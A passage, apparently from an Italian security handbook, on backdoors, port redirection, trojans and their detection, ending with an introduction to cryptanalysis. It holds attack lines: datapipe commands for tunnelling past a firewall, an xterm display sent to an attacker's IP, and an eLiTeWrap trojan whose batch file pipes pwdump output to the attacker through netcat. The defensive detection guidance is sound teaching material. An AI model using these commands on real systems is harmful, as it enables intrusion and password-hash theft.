        Subnet Mask . . . . . . . . . . . : 255.255.255.0
```

Figura 14.3

Utilizzando netcat sia sul sistema dell'hacker sia su quello della vittima, una shell può venire inviata nuovamente sul sistema dell'hacker. In questo esempio i comandi inseriti nella finestra in alto sono eseguiti dal sistema remoto e i risultati sono riportati nella finestra più in basso.

datapipe

Realizzare il reindirizzamento delle porte utilizzando tre sessioni `netcat` configurate manualmente, come mostrato nell'esempio precedente, potrebbe destare un po' di sconcerto, per questo sono disponibili su Internet diverse utility progettate specificatamente per eseguire il reindirizzamento delle porte. Per i sistemi UNIX segnaliamo un programma denominato `datapipe` (`http://packetstormsecurity.org/unix-exploits/tcp-exploits/datapipe.c`). L'hacker può configurare il reindirizzamento delle porte in modo da inviare su un sistema NT retrostante (porta 139), o su se stesso, i pacchetti ricevuti sulla porta 65000. È anche possibile realizzare l'operazione opposta: eseguire `datapipe` in modo che ascolti sulla porta 139 di un sistema e reindirizzi il traffico sulla porta 65000 del target. Per esempio, per attaccare una macchina NT (172.29.11.100) protetta da un firewall, si lancia il seguente comando sull'host forzato (172.29.11.2):

```
datapipe 65000 139 172.29.11.100
```

Al proprio terminale si esegue `datapipe` in modo che ascolti sulla porta 139 e inoltri i pacchetti sulla porta 65000 dell'host manomesso:

```
datapipe 139 65000 172.29.11.2
```

A questo punto è possibile accedere alla macchina NT target (172.29.11.100) attraverso il firewall. La Figura 14.4 mostra lo schema di funzionamento del reindirizzamento delle porte, evidenziandone l'efficacia nel caso di firewall a filtraggio dei pacchetti, configurati per consentire il traffico destinato a porte con numero identificativo elevato.

Figura 14.4
Reindirizzamento delle porte.

fpipe

fpipe è uno strumento per l'inoltro e il reindirizzamento delle porte TCP di origine realizzato da Foundstone, ed è realizzato dai proprietari di Foundstone Inc. Il pacchetto crea un flusso TCP con una porta di origine selezionabile dall'utente. Può anche essere utilizzato per eseguire il reindirizzamento delle porte come mostrato nella Figura 14.4, e questo ne fa un valido sostituto di datapipe, notoriamente utilizzabile solo sui sistemi UNIX, sulle piattaforme Windows.

fpipe si differenzia da altri pacchetti per il reindirizzamento delle porte, come per esempio rinetd, perché consente di specificare una porta di origine per il traffico inoltrato. Durante i tentativi di intrusione la possibilità di cambiare porta è fondamentale per aggirare un firewall, o un router che permette il passaggio di traffico originato solo su certe porte (per esempio, il traffico originato sulla porta TCP 25 può comunicare solo con il server di posta). Normalmente le porte di origine con identificativo numerico elevato, che in genere vengono pesantemente filtrate dal firewall, sono assegnate dal protocollo TCP/IP alle connessioni client: il firewall, tuttavia, potrebbe consentire il passaggio del traffico DNS (è quello che infatti succede). fpipe può essere configurato per forzare l'utilizzo di una porta di origine specifica, affinché il firewall "veda" il flusso di dati come un servizio autorizzato e lo lasci passare.

Ricordate che se utilizzate l'opzione -s *per specificare il numero della porta di origine per una connessione in uscita che viene poi chiusa, potreste non essere in grado di ricollegarvi alla macchina remota (*fpipe *dichiarerà che l'indirizzo è già utilizzato) fino alla scadenza dei timer TCP TIME_WAIT e CLOSE_WAIT: questi ultimi possono avere un valore compreso tra 30 secondi e 4 minuti, a seconda del tipo e della versione del sistema operativo utilizzato. Il valore dei timer è una caratteristica del protocollo TCP e non è una limitazione di* fpipe. *Questo accade perché* fpipe *cerca di stabilire una nuova connessione alla macchina remota utilizzando la stessa combinazione indirizzo IP/numero porta locale e indirizzo IP/numero porta remota della sessione precedente, e non se ne può stabilire una finché lo stack TCP non ha dichiarato terminata quella precedente.*

Manomissione dei terminali X Windows e di altri terminali grafici

Sugli host UNIX, se il client Xterm (TCP 6000) consente il traffico in uscita senza limitazioni, è possibile perfezionare alcune delle tecniche di reindirizzamento delle porte viste in precedenza con lo scopo di aprire un terminale grafico sul sistema dell'hacker, al quale si accederà avviando un server X ed eseguendo il comando seguente:

```
xterm -display <attacker_ip>:0.0 &
```

Sui sistemi Windows le cose sono un po' più complesse, perché sono di gran lunga meno soggetti all'installazione immediata di backdoor "presto e bene"; inoltre, non c'è niente di peggio che utilizzare funzionalità esistenti, come Terminal Server per Windows, o prodotti basati sull'architettura ICA (*Independent Computing Architecture*) di Citrix (http://www.citrix.com), per creare sessioni remote sul computer dell'hacker. In Windows 2000, Terminal Server, proposto come un componente integrato opzionale, risulta essere maggiormente accessibile, rispetto a quanto poteva

accadere utilizzando una edizione completamente diversa, come NT4. Potete utilizzare uno strumento come `sclist`, distribuito insieme al Resource Kit, per verificare se su un sistema remoto compromesso si trovino abilitati i Terminal Service, quindi utilizzare un account privilegiato esistente per eseguire la connessione. L'esempio seguente mostra l'utilizzo di `sclist` su un sistema Windows 2000 Advanced Server (modificato per motivi di impaginazione):

```
D:\Toolbox> sclist athena

---------------------------------------------
- Service list for athena
---------------------------------------------
running          Alerter                      Alerter
. . .
running          TermService                  Terminal Services
running          TermServLicensing            Terminal Services
Licensing
stopped          TFTPD                        Trivial FTP Daemon
stopped          TlntSvr                      Telnet
. . .
```

Se è installato anche Terminal Services Licensing è possibile che il server sia configurato in modalità application, anziché in modalità administration, e quindi `sclist` può essere di poca utilità per l'hacker (Microsoft suggerisce di installare i server Licensing e Terminal su macchine distinte).

Contromisure generali all'esecuzione di applicazioni backdoor

Abbiamo presentato numerosi strumenti e tecniche utilizzabili da un intruso per realizzare una backdoor in un sistema: ma come può un amministratore eliminare questi antipatici strumenti?

Strumenti automatici

Come si suol dire, prevenire è meglio che curare. La maggior parte dei prodotti antivirus di buona qualità attualmente in commercio eseguono la ricerca e rilevano automaticamente i tentativi di backdoor prima che questi possano provocare danni (per esempio, prima di accedere all'unità floppy o di scaricare gli allegati di posta elettronica). I principali produttori di antivirus sono elencati nell'articolo Q49500 di Microsoft Knowledge Base all'indirizzo `http://support.microsoft.com/support/kb/articles/Q49/5/00.ASP`.

Segnaliamo tra gli altri uno strumento poco costoso denominato The Cleaner, distribuito da MooSoft Development, che è in grado di identificare e rimuovere oltre 1000 tipi diversi di backdoor e trojan (o almeno questo è quanto sostenuto nei depliant pubblicitari). Per maggiori informazioni vi rimandiamo all'indirizzo `http://www.moosoft.com`.

Quando sceglierete un prodotto, assicuratevi che effettui la ricerca su dati significativi, come le impronte binarie o le voci del Registro del sistema, che non sono facilmente modificabili dagli aggressori meno esperti, e ricordate che questi strumenti sono efficaci solo se vengono mantenuti aggiornati i loro database.

Realizzare l'inventario

Supponendo che il sistema sia già stato manomesso, la sorveglianza è l'unico rimedio contro quasi tutte le backdoor esaminate in precedenza. Gli amministratori più attenti dovrebbero essere in grado di rendere conto di qualsiasi aspetto dello stato del sistema, e sapere dove individuare velocemente un supporto di ripristino affidabile. Vi consigliamo vivamente di effettuare un inventario di tutti i sistemi critici subito dopo l'installazione iniziale e dopo ogni aggiornamento o installazione successiva. Per ulteriore sicurezza da eventuali attacchi, inoltre, potete utilizzare programmi di controllo delle porte TCP e UDP, come Vision di Foundstone.

Tenere traccia dello stato dei sistemi può essere estremamente oneroso in un ambiente dinamico, in particolare sulle stazioni di lavoro personali, ma nel caso di server di produzione relativamente statici può rivelarsi uno strumento molto utile per verificare l'integrità di un host potenzialmente compromesso. Un metodo semplice per svolgere questa operazione è ricorrere a strumenti di system-imaging che verranno descritti nei paragrafi successivi. Nella parte restante di questo paragrafo vedremo alcuni metodi manuali gratuiti (molti sono integrati nei sistemi) che possono essere utilizzati per tenere traccia delle attività eseguite in un sistema. Seguendo i suggerimenti forniti di seguito, prima che l'attacco abbia luogo, avrete un vantaggio iniziale quando si tratterà di capire cosa è successo. Per pura coincidenza, molte di queste tecniche possono essere utilizzate anche come esercizio di indagine dopo un'intrusione.

Chi c'è in ascolto su quelle porte?

Potrebbe sembrare ovvio, ma non sottostimate mai la potenza di `netstat` per identificare connessioni in ascolto come quelle descritte in questo capitolo. Il seguente esempio mostra l'utilità di questo strumento (modificato per brevità):

```
D:\Toolbox> netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:54320          0.0.0.0:0              LISTENING
  TCP    192.168.234.36:139     0.0.0.0:0              LISTENING
. . .
  UDP    0.0.0.0:31337            *:*
```

Siete in grado di dire cosa c'è di sbagliato in questa schermata, basandovi sulle informazioni fornite in questo capitolo?

Come noterete, il solo punto debole di `netstat` è che non è in grado di specificare chi c'è effettivamente in ascolto sulle porte. Nei sistemi Windows NT e 2000, è possibile visualizzare questa informazione utilizzando `fPort` di Foundstone Inc., che è la versione a riga di comando di Vision:

```
D:\Toolbox> fport

fPort - Process port mapper
Copyright(c) 2000, Foundstone, Inc.
http://www.foundstone.com

PID    NAME              TYPE    PORT
----------------------------------------
222    IEXPLORE          UDP     1033
```

```
224     OUTLOOK      UDP    1107
224     OUTLOOK      UDP    1108
224     OUTLOOK      TCP    1105
224     OUTLOOK      UDP    1106
224     OUTLOOK      UDP    0
245     MAPISP32     UDP    0
266     nc           TCP    2222
```

Questo comando consente di rilevare la presenza di un listener di `netcat` sulla porta 2222, mentre utilizzando `netstat` l'unica informazione fornita sarebbe stata il numero della porta. Il tool Vision di Foundstone costituisce un'interfaccia grafica per l'output del comando `fport`.

Per effettuare la scansione di una rete di grandi dimensioni alla ricerca di porte sospette in ascolto, la scelta migliore è utilizzare un port scanner o uno strumento di scansione come quelli presentati nel Capitolo 2.

In ogni caso, il risultato non dice granché, se non si sa cosa cercare. La Tabella 14.1 riporta alcune impronte distintive dei sistemi di controllo remoto.

Tabella 14.1 I numeri delle porte utilizzate dalle backdoor per controllo remoto

Backdoor	TCP predefinito	UDP predefinito	Consente porte alternative
Remote.exe	135-139	135-139	No
Netcat	Qualsiasi	Qualsiasi	Sì
Loki	Non disponibile	Non disponibile	Non disponibile
Telnet inverso	Qualsiasi	Non disponibile	Sì
Back Orifice	Non disponibile	31337	Sì
Back Orifice 2000	54320	54321	Sì
NetBus	12345	Non disponibile	Sì
Masters Paradise	40421, 40422, 40426	NA	Sì
pcAnywhere	22, 5631, 5632, 65301	22, 5632	No
ReachOut	43188	Nessuna	No
Remotely Anywhere	2000, 2001	Nessuna	Sì
Remotely Possible/ ControlIT	799, 800	800	Sì
Timbuktu	407	407	No
VNC	5800, 5801..	Nessuna	Sì
Terminal Server per Windows	3389	3389	No
NetMeeting Remote Desktop Control	49608, 49609	49608, 49609	No
Citrix ICA	1494	1494	No

Se sui sistemi che gestite trovate una di queste porte in ascolto (e non avete attivato voi stessi uno di questi programmi), con ogni probabilità significa che sono stati manomessi da un hacker malintenzionato o da un utente inconsapevole. Prestate anche attenzione a eventuali altre porte che si comportano in modo non usuale, poiché molti di questi tool possono essere configurati in modo da ascoltare su porte

alternative, come segnalato nella Tabella 14.1. Servitevi di dispositivi di sicurezza esterni per limitare l'accesso a queste porte via Internet.
Per maggiori informazioni sui numeri di porta associati alle backdoor, potete consultare gli indirizzi seguenti:

- `http://www.tlsecurity.net/`
- `http://www.commodon.com/threat/threat-ports.htm`
- `http://www.chebucto.ns.ca/~rakerman/port-table.html`

Eliminazione dei processi intrusi

Un'altra possibilità per verificare la presenza di backdoor è esaminare l'elenco dei processi alla ricerca di eseguibili come `nc`, WINVNC.exe, e così via. In Windows è possibile utilizzare `pulist` (compreso nell'NTRK) per elencare i processi in esecuzione, o `sclist` per i servizi. I comandi `pulist` e `sclist` sono semplici da utilizzare, e possono essere facilmente sfruttati all'interno di script per automatizzare le ricerche sul sistema locale o sull'intera rete. Questo è un esempio dell'output di `pulist`:

```
C:\nt\ew> pulist
Process          PID   User
Idle             0
System           2
smss.exe         24    NT AUTHORITY\SYSTEM
CSRSS.EXE        32    NT AUTHORITY\SYSTEM
WINLOGON.EXE     38    NT AUTHORITY\SYSTEM
SERVICES.EXE     46    NT AUTHORITY\SYSTEM
LSASS.EXE        49    NT AUTHORITY\SYSTEM
...
CMD.EXE          295   TOGA\administrator
nfrbof.exe       265   TOGA\administrator
UEDIT32.EXE      313   TOGA\administrator
NTVDM.EXE        267   TOGA\administrator
PULIST.EXE       309   TOGA\administrator
C:\nt\ew>
```

`sclist` riporta l'elenco dei servizi attivi su una macchina remota, come si vede nell'esempio seguente:

```
C:\nt\ew> sclist \\172.29.11.191
-------------------------------------------
- Service list for \\172.29.11.191
-------------------------------------------
running      Alerter                        Alerter
running      Browser                        Computer Browser
stopped      ClipSrv                        ClipBook Server
running      DHCP                           DHCP Client
running      EventLog                       EventLog
running      LanmanServer                   Server
running      LanmanWorkstation              Workstation
running      LicenseService                 License Logging Service
...
stopped      Schedule                       Schedule
running      Spooler                        Spooler
stopped      TapiSrv                        Telephony Service
stopped      UPS                            UPS
```

In UNIX è possibile utilizzare il comando `ps`. Le opzioni disponibili per questo comando tendono a cambiare in relazione all'implementazione di UNIX; per Linux invece si utilizza `ps -aux`, per Solaris `ps -ef`. È possibile (e vivamente consigliato) utilizzare questi comandi all'interno di script, per segnalare cambiamenti nei processi in esecuzione. Altri eccellenti strumenti UNIX che consentono di mappare i servizi in ascolto a processi in esecuzione sono `lsof` (`ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/NEW/`), disponibile per la maggior parte delle implementazioni UNIX, e `sockstat` per FreeBSD. Viene riportato di seguito uno stralcio dell'output di questi strumenti:

```
[crush] lsof -i
COMMAND     PID USER   FD   TYPE     DEVICE SIZE/OFF NODE NAME
syslogd     111 root    4u  IPv4 0xc5818f00      0t0  UDP *:syslog
dhcpd       183 root    7u  IPv4 0xc5818e40      0t0  UDP *:bootps
dhcpd       183 root   10u  IPv4 0xc5bc2f00      0t0 ICMP *:*
sshd        195 root    3u  IPv4 0xc58d9d80      0t0  TCP *:ssh (LISTEN)
sshd       1062 root    4u  IPv4 0xc58da500      0t0  TCP crush:
    ssh->192.168.1.101:2420 (ESTABLISHED)
Xaccel     1165 root    3u  IPv4 0xc58dad80      0t0  TCP *:6000 (LISTEN)
gnome-ses 1166 root    3u  IPv4 0xc58dab60      0t0  TCP *:1043 (LISTEN)
panel      1201 root    5u  IPv4 0xc58da940      0t0  TCP *:1046 (LISTEN)
gnome-nam 1213 root    4u  IPv4 0xc58da2e0      0t0  TCP *:1048 (LISTEN)
gen_util_ 1220 root    4u  IPv4 0xc58dbd80      0t0  TCP *:1051 (LISTEN)
sshd       1245 root    4u  IPv4 0xc58da720      0t0  TCP crush:
    ssh->192.168.1.101:2642 (ESTABLISHED)

[crush] sockstat
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
root     sshd       1245   4 tcp4   10.1.1.1.22       192.168.1.101.2642
root     gen_util   1220   4 tcp4   *.1051                    *.*
root     gnome-na   1213   4 tcp4   *.1048                    *.*
root     panel      1201   5 tcp4   *.1046                    *.*
root     gnome-se   1166   3 tcp4   *.1043                    *.*
root     Xaccel     1165   3 tcp4   *.6000                    *.*
root     sshd       1062   4 tcp4   10.1.1.1.22       192.168.1.101.2420
root     sshd        195   3 tcp4   *.22                      *.*
root     dhcpd       183   7 udp4   *.67                      *.*
root     syslogd     111   4 udp4   *.514                     *.*
```

Ovviamente, essendo possibile rinominare la maggior parte degli eseguibili considerati, è difficile distinguere una backdoor da un servizio o processo legittimo, a meno che non abbiate realizzato un inventario del vostro sistema subito dopo l'installazione iniziale e dopo ogni aggiornamento o installazione successiva (altro prezioso consiglio).

Schedare il file system

Creare periodicamente elenchi completi di file e directory da confrontare con quelli precedenti potrebbe sembrare una follia per gli amministratori sovraccarichi di lavoro, ma è il metodo più sicuro per mettere in evidenza profili sospetti, se lo stato del sistema non è eccessivamente dinamico.
Nel caso di Novell, il comando `ndir` permette di monitorare la dimensione del file, la data di ultimo accesso e così via. In UNIX è possibile realizzare uno script che registri ogni nome file con la corrispondente lunghezza utilizzando il coman-

do `ls -la`. In Windows si può utilizzare il comando `dir` per registrare l'ultima data di modifica e di accesso, oltre alle dimensioni del file. Vi consigliamo anche gli strumenti `afind`, `hfind` e `sfind` prodotti da NTObjectives, che consentono di catalogare i file senza modificare la data di accesso offrendo anche la possibilità di identificare i file nascosti e i flussi di dati alternativi all'interno dei file. In Windows NT/2000 è possibile abilitare l'auditing delle attività a livello dei file e utilizzare le funzionalità integrate del file system NT (NTFS): è sufficiente fare clic con il tasto destro del mouse sul file o sulla directory desiderata, selezionare la scheda *Security*, fare clic sul pulsante *Auditing* e assegnare le impostazioni appropriate per ciascun utente o gruppo.

Windows 2000 introduce il servizio WFP (*Windows File Protection*), che consente di proteggere da sovrascrittura i file di sistema installati mediante il programma di installazione di Windows 2000 (che comprende circa 640 file sotto la directory *%systemroot%*). Un effetto collaterale interessante di questa funzionalità è che gli hash SHA-1 dei file critici vengono mantenuti in un file memorizzato in *%systemroot%\system32\dllcache\nt5.cat*, per poterli confrontare con gli hash SHA-1 del file system corrente al fine di verificare la loro integrità. La verifica può essere eseguita dal programma File Signature Verification (`sigverif.exe`): fate clic sul pulsante *Advanced*, selezionate la scheda *Logging*, quindi selezionate l'opzione *Append To Existing Log File* per confrontare i risultati con quelli ottenuti da esecuzioni precedenti. Notate, tuttavia, che WFP non associa a ogni file la sua impronta univoca.

Tra gli strumenti forniti da terze parti segnaliamo MD5sum, un programma per la verifica dell'integrità dei file disponibile come parte del pacchetto Textutils, rilasciato sotto la General Public License GNU (`ftp://ftp.gnu.org/pub/gnu/textutils/`). Una versione compilata per Windows è fornita con la distribuzione Cygwin, disponibile all'indirizzo `http://sources.redhat.com/cygwin/`. MD5sum è in grado di calcolare o verificare il message digest a 128 bit di un file utilizzando il popolare algoritmo di cifratura MD5, scritto da Ron Rivest del laboratorio del MIT (*Massachusetts Institute of Technology*) per Computer Science and RSA Security, e disponibile nella RFC 1321. Di seguito viene riportato un esempio che mostra la creazione e la modifica del checksum di un file da parte del programma MD5sum:

```
D:\Toolbox> md5sum d:\test.txt > d:\test.md5

D:\Toolbox> cat d:\test.md5
efd3907b04b037774d831596f2c1b14a  d:\\test.txt

D:\Toolbox> md5sum --check d:\test.md5
d:\\test.txt: OK
```

Sfortunatamente, MD5sum può essere utilizzato su un solo file alla volta. Ovviamente, in questo caso, l'utilizzo degli script è vivamente consigliato. Uno strumento più robusto per la rilevazione di intrusioni nel file system è sicuramente il venerando Tripwire, disponibile all'indirizzo `http://www.tripwire.com`.

Come compendio alla trattazione, non potevamo esimerci dal riservare una menzione particolare ad alcune utility che riteniamo indispensabili per l'esame del contenuto dei file eseguibili. Esse comprendono `strings`, sia per Windows sia per UNIX, BinText per Windows di Foundstone, disponibile all'indirizzo `http://www.foundstone.com`, e UltraEdit32 per Windows, all'indirizzo `http://www.ultraedit.com`.

Il punto di partenza più ovvio è cercare eventuali tracce di backdoor facilmente riconoscibili, come file eseguibili e librerie di supporto relativi. Normalmente questa ricerca dà esito negativo, perché la maggior parte degli strumenti visti può essere ri-

nominata, ma una buona metà del lavoro per la sicurezza di una rete consiste nell'eliminare le falle più evidenti. La Tabella 14.2 riporta un elenco dei principali file da controllare.

Tabella 14.2 Nomi predefiniti degli eseguibili per il controllo remoto

Backdoor	Nome/i file	Può essere rinominato?
Utility remote di NT	remote.exe	Sì
Netcat (UNIX e NT)	nc e nc.exe	Sì
Rinetd	rinetd e rinetd.exe	Sì
Incapsulamento di ICMP e UDP	loki e lokid	Sì
Back Orifice	[spazio].exe, boserve.exe, boconfig.exe	Sì
Back Orifice 2000	bo2k.exe, bo2kcfg.exe, bo2kgui.exe, UMGR32.EXE, bo_peep.dll, bo3des.dll	Sì
NetBus	patch.exe, NBSvr.exe, KeyHook.dll	Sì
Virtual Network Computing per Windows (WINVNC)	WINVNC.EXE, VNCHooks.DLL e OMNITHREAD_RT.DLL	No
Linux Rootkit (LRK)	lrk	Sì
NT/200 Rootkit	deply.exe e _root _sys	No nel build 0.31a

File di avvio e chiavi del Registro di sistema

Una backdoor sarebbe piuttosto inutile, se bastasse un semplice riavvio della macchina o l'intervento di un amministratore troppo pignolo a caccia di servizi non previsti a impedire all'intruso di ricollegarsi. Il modo più semplice per evitare questo rischio è inserire nei file di configurazione principali, o tra le voci del Registro, un riferimento permanente agli strumenti di backdoor: infatti, spesso richiedono la presenza di alcuni particolari valori nel Registro di sistema per le operazioni di base e questo può servire per la loro identificazione ed eliminazione.
Back Orifice inserisce un valore all'interno della chiave del Registro di sistema relativa all'avvio di servizi, *HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices*: nell'installazione predefinita viene utilizzato il valore "Default" impostato a ".exe" ([spazio].exe), che è l'eseguibile standard del server BO, salvato nella directory *C:\windows\system*. BO2K crea una sua copia in un file di nome UMGR32.EXE, nella directory *C:\windows\system* di Windows *9x* e *C:\winnt\system32* di Windows NT/2000 (se in possesso delle autorizzazioni necessarie). Ovviamente, l'hacker è libero di cambiare i valori a suo piacimento. Se all'interno della chiave del Registro di sistema chiamata in causa trovate un riferimento a un file di circa 124.928 byte, probabilmente si tratta di BO. BO2K occupa invece 114.688 byte.
La versione più recente di NetBus crea diversi valori sotto *HKEY_LOCAL_MACHINE\SOFTWARE\Net Solutions\NetBus Server*, ma soprattutto inserisce in *HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run* un valore che punta all'eseguibile del server (nelle versioni precedenti il nome predefinito del valore era SysEdit, ma può essere modificato a piacimento).
WINVNC crea una chiave di nome *HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3*.
In UNIX, è necessario cercare nei vari file di estensione .rc e in /etc/inetd.conf eventuali daemon sospetti.

Auditing, account e archiviazione dei file di log

Ultima, ma non meno importante è la considerazione che non è possibile identificare un'intrusione se gli allarmi non sono stati attivati. Assicuratevi di aver abilitato le funzionalità di auditing integrate dei vostri server. Per esempio, in Windows NT è possibile attivare le impostazioni dell'auditing delle attività da *User Manager* mentre in Windows 2000 è possibile utilizzare la applet *Security Policy*, oppure lo strumento `auditpol` distribuito insieme al Resource Kit. Il file system di NT (NTFS) consente anche la registrazione degli accessi ai file. Per effettuare questa operazione, fate clic con il tasto destro del mouse sulla cartella o il file desiderato in Explorer, selezionate *Properties*, la scheda *Security*, il pulsante *Auditing* e create le voci appropriate.

In Windows NT 4, un auditing eccessivamente prolifico provocava notoriamente una diminuzione delle prestazioni, per cui molti evitavano di abilitarlo. Tuttavia, le prove eseguite su Windows 2000 indicano che l'overhead associato all'auditing è stato notevolmente ridotto, quindi anche quando sono attivate tutte le impostazioni le prestazioni della macchina non subiscono un rallentamento evidente.

Ovviamente, anche il controllo più dettagliato è inutile, se i log non vengono periodicamente esaminati, o se vengono eliminati o sovrascritti a causa della mancanza di spazio su disco o di una cattiva gestione. Una volta abbiamo visitato un sito Web che era stato messo in guardia contro un possibile attacco due mesi prima che l'azione avesse luogo, e se non fosse stato per una scrupolosa gestione dei log da parte degli amministratori di sistema l'intrusione non sarebbe mai stata rilevata. Si consiglia di adottare una politica di archiviazione periodica dei log per evitare di perdere prove importanti (molte aziende importano periodicamente i file di log all'interno di database per semplificare la ricerca e i meccanismi di allarme automatico).
Siate sempre molto attenti a variazioni di account sospette: utilizzate strumenti di terze parti per salvare periodicamente un'immagine dello stato del sistema, che vi servirà per svolgere queste attività. Per esempio, strumenti come DumpSec di Somarsoft (DumpACL), DumpReg e DumpEvt (`http://www.somarsoft.com`) sono in grado di catturare tutte le informazioni importanti relative a un sistema Windows NT/2000 utilizzando una semplice sintassi da riga di comando.

Trojan

Diffusione:	*10*
Semplicità:	*8*
Impatto:	*10*
Fattore di rischio:	*9.5*

Come già accennato nell'introduzione a questo capitolo, un trojan è un programma che si presenta come uno strumento software di una qualche utilità, ma che in realtà, una volta lanciato, installa di nascosto un software dannoso. Molte backdoor per il controllo remoto (illustrate in precedenza) possono essere mascherate da pacchetti dall'apparenza innocua, in modo che l'utente sprovveduto non si renda neanche conto di installarle. Come esempio aggiuntivo, si consideri un eseguibile che si fa passare per `netstat`, e che intenzionalmente non visualizza alcune porte di ascolto per mascherare la presenza di una backdoor:

nel prosieguo del capitolo vedremo alcuni esempi di questo tipo di trojan come FPWNCLNT.DLL e i rootkit.

Whack-A-Mole

Un esempio di veicolo di propagazione piuttosto comune per NetBus è un gioco di nome Whack-A-Mole, che si presenta come un unico eseguibile di nome whackamole.exe, ma che in realtà è un file WinZip autoestraente. Whack-A-Mole installa il server NetBus con il nome "explore.exe" e crea un riferimento all'eseguibile in *HKLM\ SOFTWARE\Microsoft\Windows\CurrentVersion\Run*, che lancia NetBus a ogni avvio della macchina (il nome del valore è "explore"): il tutto accade praticamente senza che l'utente se ne renda conto, ed è seguito dall'apertura di un simpatico giochino di nome Whack-A-Mole, che è anche piuttosto divertente (ops! Forse non dovevamo dirlo!). L'aspetto di Whack-A-Mole è mostrato nella figura seguente.

eLiTeWrap

Un programma molto diffuso per la creazione di trojan è eLiTeWrap, disponibile all'indirizzo `http://www.holodeck.f9.co.uk/elitewrap/index.html`: riunisce in un unico eseguibile diversi file, che vengono quindi estratti o eseguiti sul sistema remoto. Come si vede nel seguente esempio, è possibile includere anche file batch o script, il che permette agli hacker di sferrare attacchi *ad hoc* per ogni sistema:

```
C:\nt\ew> elitewrap
eLiTeWrap 1.03 - (C) Tom "eLiTe" McIntyre
tom@dundeecake.demon.co.uk
http://www.dundeecake.demon.co.uk/elitewrap
Stub size: 7712 bytes
Enter name of output file: bad.exe
```

```
Operations: 1 - Pack only
            2 - Pack and execute, visible, asynchronously
            3 - Pack and execute,  hidden, asynchronously
            4 - Pack and execute, visible,  synchronously
            5 - Pack and execute,  hidden,  synchronously
            6 - Execute only,     visible, asynchronously
            7 - Execute only,      hidden, asynchronously
            8 - Execute only,     visible,  synchronously
            9 - Execute only,      hidden,  synchronously
Enter package file #1: c:\nt\pwdump.exe
Enter operation: 1
Enter package file #2: c:\nt\nc.exe
Enter operation: 1
Enter package file #3: c:\nt\ew\attack.bat
Enter operation: 7
Enter command line:
Enter package file #4:
All done :)
```

Il risultato dovrebbe essere un file di nome "bad.exe", che una volta lanciato estrae i file `pwdump.exe`, `netcat` (`nc.exe`) ed esegue il file batch attack.bat, che esegue un semplice comando come `pwdump | nc.exe -n 192.168.1.1 3000`, che scarica il database SAM di NT sul sistema dell'hacker (192.168.1.1, che sarebbe configurato per ascoltare sulla porta 3000 servendosi di `netcat`).

ELiTeWrap può essere intercettato se il pirata dimentica di eliminare la firma eLiTeWrap dall'eseguibile. Il seguente comando `find` permette di trovare tale firma in qualsiasi file .EXE:

```
C:\nt\ew> find "eLiTeWrap" bad.exe
---------- BAD.EXE
eLiTeWrap V1.03
```

La definizione "eLiTeWrap" può essere modificata, e non può quindi essere considerata l'unico metodo per intercettare i trojan realizzati con eLiTeWrap.

FPNWCLNT.DLL per Windows NT

Un'attività particolarmente insidiosa solitamente svolta dai trojan è catturare nomi utente e password (facendosi passare per componenti legittimi) per effettuare la connessione al sistema. Un ottimo esempio è la libreria `FPNWCLNT.DLL`, che viene installata sui server NT per cui sia necessario sincronizzare le password con sistemi Novell NetWare. Questa DLL intercetta le modifiche alle password prima che vengano cifrate e riportate nel SAM, permettendo ai servizi NetWare di ottenerle in forma leggibile ed effettuare un solo login.

È stato messo a disposizione su Internet un codice sorgente di prova, in grado di registrare le notifiche di modifiche alle password nel file *C:\TEMP\PWDCHANGE.OUT*, ma non le password effettive. Ovviamente, il codice per catturare le password in chiaro è facilmente personalizzabile.

Contromisure al trojan FPNWCLNT

Se non avete bisogno di sincronizzare le password tra ambienti NT e NetWare, eliminate il file FPNWCLNT.DLL, nella cartella *%systemroot%\system32*. Inoltre, verificate la voce del Registro di sistema *HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages (REG_ MULTI_SZ)*, eliminando la stringa FPNWCLNT. Se invece la DLL è necessaria per il funzionamento di un ambiente misto, assicuratevi che sia in esecuzione la versione originale di Microsoft confrontando il file con una copia sicuramente corretta (per esempio, quella sul disco di installazione di NT). In caso di dubbio ripristinate l'originale.

Crittografia

La crittografia, che traducendo letteralmente dal greco antico significa "scrittura nascosta" ovvero segreta, è la scienza (qualcuno potrebbe anche dire l'arte) di proteggere e salvaguardare l'integrità e la segretezza dei dati personali. La sua origine può essere fatta risalire al cifrario a sostituzione semplicemente monoalfabetica di Giulio Cesare, che si è poi sviluppato in cifrari a sostituzione polialfabetica, il One-Time Pad, i cifrari block e i criptosistemi a chiave pubblica. La crittografia ha indubbiamente rivoluzionato il modo di serbare i propri segreti.
Dal momento che la crittografia è ormai una parte integrale dei moderni sistemi di sicurezza, la forzatura del messaggio cifrato è di conseguenza una delle metodologie chiave impiegate dagli intrusi. Questo paragrafo presenterà una panoramica sulle tecniche di attacco ai sistemi crittografici impiegate dagli hacker, generalmente definite *crittoanalisi*.

Terminologia

Prima di gettarsi a capofitto nella crittoanalisi è utile definire alcuni termini. Si utilizza testo in chiaro (*plaintext*) per identificare i dati prima che venga applicato un sistema crittografico e testo cifrato (*ciphertext*) per identificare i dati dopo che un sistema crittografico è stato applicato al plaintext. I termini codifica (*encryption*) e decodifica (*decryption*) di dati sono utilizzati per descrivere rispettivamente il processo di trasformazione del plaintext in ciphertext e del ciphertext in plaintext.

Classi di attacco

